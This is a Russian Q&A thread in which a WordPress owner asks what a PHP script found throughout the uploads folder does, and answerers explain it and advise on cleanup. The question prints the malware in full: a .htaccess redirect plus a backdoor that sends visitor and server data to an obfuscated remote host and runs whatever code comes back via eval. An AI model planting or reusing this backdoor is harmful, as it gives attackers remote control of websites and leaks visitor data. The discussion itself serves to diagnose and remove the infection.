Что делает этот скрипт (находится в папке загрузки Wordpress) - PullRequest
0 голосов
/ 27 января 2012

Я обнаружил, что этот скрипт разбросан по моей папке загрузок Wordpress на общем хосте.Я не знаю, как это получилось, я всегда использовал последние версии Wordpress и все мои плагины.

Скрипт был разбросан по всем возможным подпапкам в моей папке загрузок с помощником.Файл .htaccess, для направления трафика на этот скрипт.Он находится только внутри папки загрузки, а за ее пределами нет файлов.

Можете ли вы помочь мне расшифровать , что делал этот скрипт и как мне восстановить его , если он сделал что-то плохое?

Вотвспомогательный файл .htaccess,

Options -MultiViews
ErrorDocument 404 //wp-content/uploads/54580.php

А вот главный скрипт (или в pastebin ),

error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cnNzbmV3cy53cw==");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "ceaa2f454d1892ee1d5c3f777e07144d") $f = $_REQUEST["id"];
if ($c = file_get_contents(base64_decode("aHR0cDovLzdhZHMu") . $f . $z)) eval($c); 
else if ($c = file_get_contents(base64_decode("aHR0cDovLzcu") . $f . $z)) eval($c); 
else {
    $cu = curl_init(base64_decode("aHR0cDovLzcxLg==") . $f . $z);
    curl_setopt($cu, CURLOPT_RETURNTRANSFER, 1);
    $o = curl_exec($cu);
    curl_close($cu);
    eval($o);
}
;
die(); 

Ответы [ 5 ]

6 голосов
/ 27 января 2012

Во-первых, он отключает отчеты об ошибках, убеждаясь, что если что-то пойдет не так, никто не увидит сообщение об ошибке.

Затем, похоже, файл загружается с другого сервера.

IP-адрес этого сервера был запутан из-за того, что он немного запутал его, а base64 закодировал фрагменты.Сложный спагетти-код операторов if повторно собирает его в (возможно) действительный IP-адрес сервера.

Если он может загрузить этот файл, он будет обрабатывать его (), что означает, что он будет интерпретироваться как PHP,и запустить его.

5 голосов
/ 27 января 2012

Можете ли вы помочь мне расшифровать то, что делал этот скрипт

Он загружает полезную нагрузку с какого-либо другого сервера и выполняет ее.восстановить его, если он сделал что-то плохое?

Удалить скрипт.Восстановите резервную копию вашего сайта, которая не была испорчена.Свяжитесь с кем-то, кто сталкивался с такими проблемами, и получите обзор своего сайта и лучшие направления на будущее.

1 голос
/ 27 января 2012

Он вызывает удаленный URL, может быть, для отправки информации. 7ads.rssnews.com или 7.rssnews.com

Я думаю, что вы должны удалить этот файл с вашего веб-сервера, он не выглядит безопасным.

0 голосов
/ 28 января 2012

Также обратите внимание на то, какие плагины могут загружать файлы в каталог загрузки. Там где-то есть файл, который используется для загрузки файлов, и то, что все ваши плагины обновлены, не означает, что они используются злоумышленниками.

Некоторые кодировщики плагинов не обновляли свои плагины, даже если в них были обнаружены эксплойты. В настоящее время используются некоторые плагины, для которых не было опубликовано ни одного эксплойта, а также есть пара проблем, которые Wordpress посчитал достаточно плохими для исправления. Пример: http://goo.gl/EfMTJ

Также, если вы были взломаны ранее, возможно, вы пропустили шелл-код (бэкдор-файл), который также может все еще находиться в ваших веб-папках. Причиной загрузки является, вероятно, две причины, одна из которых заключается в том, что она, вероятно, доступна для записи веб-сервером, а вторая заключается в том, что это общая папка, в которую плагины и основной сайт используются для загрузки файлов.

0 голосов
/ 27 января 2012

Удалить эту строку из .htacces в вашей корневой папке

ErrorDocument 404 //wp-content/uploads/54580.php

Удалить все файлы с именем 54580.php

Предоставить права на публичную запись только для wp-content / uploads

Дайте разрешения на чтение для всех остальных.

Что он делает сейчас ... Он отправляет некоторую информацию в rssnews (точка) ws

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...